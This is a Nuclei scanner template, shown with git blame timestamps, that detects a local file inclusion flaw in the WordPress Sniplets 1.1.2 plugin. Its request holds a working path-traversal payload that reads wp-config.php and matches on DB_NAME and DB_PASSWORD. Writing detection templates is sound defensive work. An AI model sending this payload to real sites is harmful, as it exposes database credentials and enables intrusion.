2022-02-15 12:03:40 +00:00
|
|
|
id: sniplets-lfi
|
2022-02-12 17:57:12 +00:00
|
|
|
|
|
|
|
info:
|
2022-07-29 14:04:23 +00:00
|
|
|
name: WordPress Sniplets 1.1.2 - Local File Inclusion
|
2022-02-12 17:57:12 +00:00
|
|
|
author: dhiyaneshDK
|
|
|
|
severity: high
|
2022-07-29 14:04:23 +00:00
|
|
|
description: WordPress Sniplets 1.1.2 is vulnerable to local file inclusion.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/5194
|
2022-07-29 14:04:23 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cwe-id: CWE-22
|
2022-02-15 12:03:40 +00:00
|
|
|
tags: wordpress,wp-plugin,lfi,wp
|
2022-02-12 17:57:12 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php'
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
2022-02-15 12:03:40 +00:00
|
|
|
part: body
|
2022-02-12 17:57:12 +00:00
|
|
|
words:
|
|
|
|
- "DB_NAME"
|
|
|
|
- "DB_PASSWORD"
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2022-07-29 14:04:23 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/07/29
|